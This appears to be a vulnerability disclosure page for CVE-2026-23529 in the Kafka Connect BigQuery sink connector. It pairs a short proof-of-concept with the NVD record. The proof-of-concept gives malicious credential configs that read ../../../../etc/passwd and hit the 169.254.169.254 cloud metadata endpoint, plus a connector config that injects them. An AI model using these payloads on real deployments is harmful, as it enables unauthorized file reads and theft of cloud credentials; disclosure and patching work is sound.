CVE-2026-23529

# CVE-2026-23529 PoC - Malicious BigQuery Credential Configuration # This PoC demonstrates arbitrary file read via credential_source.file malicious_credential = { "type": "service_account", "project_id": "attacker-controlled-project", "private_key_id": "1234567890", "private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQ...\n-----END RSA PRIVATE KEY-----\n", "client_email": "[email protected]", "client_id": "123456789", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "credential_source": { # Arbitrary file read via file path traversal "file": "../../../../etc/passwd" } } # SSRF PoC via credential_source.url malicious_credential_ssrf = { "type": "service_account", "project_id": "attacker-controlled-project", "private_key_id": "1234567890", "private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQ...\n-----END RSA PRIVATE KEY-----\n", "client_email": "[email protected]", "client_id": "123456789", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "credential_source": { # SSRF attack via URL pointing to internal service "url": "http://169.254.169.254/latest/meta-data/" } } # Exploitation: Inject via Kafka Connect connector configuration # POST /connectors endpoint with malicious config connector_config = { "name": "bigquery-sink", "config": { "connector.class": "com.wepay.kafka.connect.bigquery.BigQuerySinkConnector", "gcp.bigquery.credentials.file": "/tmp/malicious_credential.json", # Path to malicious file "gcp.bigquery.project": "victim-project" } }

{"cve": {"id": "CVE-2026-23529", "sourceIdentifier": "[email protected]", "published": "2026-01-16T17:15:54.783", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kafka Connect BigQuery Connector is an implementation of a sink connector from Apache Kafka to Google BigQuery. Prior to 2.11.0, there is an arbitrary file read in Google BigQuery Sink connector. Aiven's Google BigQuery Kafka Connect Sink connector requires Google Cloud credential configurations for authentication to BigQuery services. During connector configuration, users can supply credential JSON files that are processed by Google authentication libraries. The service fails to validate externally-sourced credential configurations before passing them to the authentication libraries. An attacker can exploit this by providing a malicious credential configuration containing crafted credential_source.file paths or credential_source.url endpoints, resulting in arbitrary file reads or SSRF attacks."}, {"lang": "es", "value": "El Conector de Kafka Connect para BigQuery es una implementación de un conector de sumidero de Apache Kafka a Google BigQuery. Antes de la versión 2.11.0, existe una lectura arbitraria de archivos en el conector de sumidero de Google BigQuery. El conector de sumidero de Kafka Connect para Google BigQuery de Aiven requiere configuraciones de credenciales de Google Cloud para la autenticación a los servicios de BigQuery. Durante la configuración del conector, los usuarios pueden proporcionar archivos JSON de credenciales que son procesados por las librerías de autenticación de Google. El servicio no valida las configuraciones de credenciales de origen externo antes de pasarlas a las librerías de autenticación. Un atacante puede explotar esto al proporcionar una configuración de credenciales maliciosa que contenga rutas credential_source.file manipuladas o puntos finales credential_source.url, lo que resulta en lecturas arbitrarias de archivos o ataques SSRF."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://docs.cloud.google.com/support/bulletins#gcp-2025-005", "source": "[email protected]"}, {"url": "https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka/commit/20ea3921c6fe72d605a033c1943b20f49eaba981", "source": "[email protected]"}, {"url": "https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka/releases/tag/v2.11.0", "source": "[email protected]"}, {"url": "https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka/security/advisories/GHSA-3mg8-2g53-5gj4", "source": "[email protected]"}]}}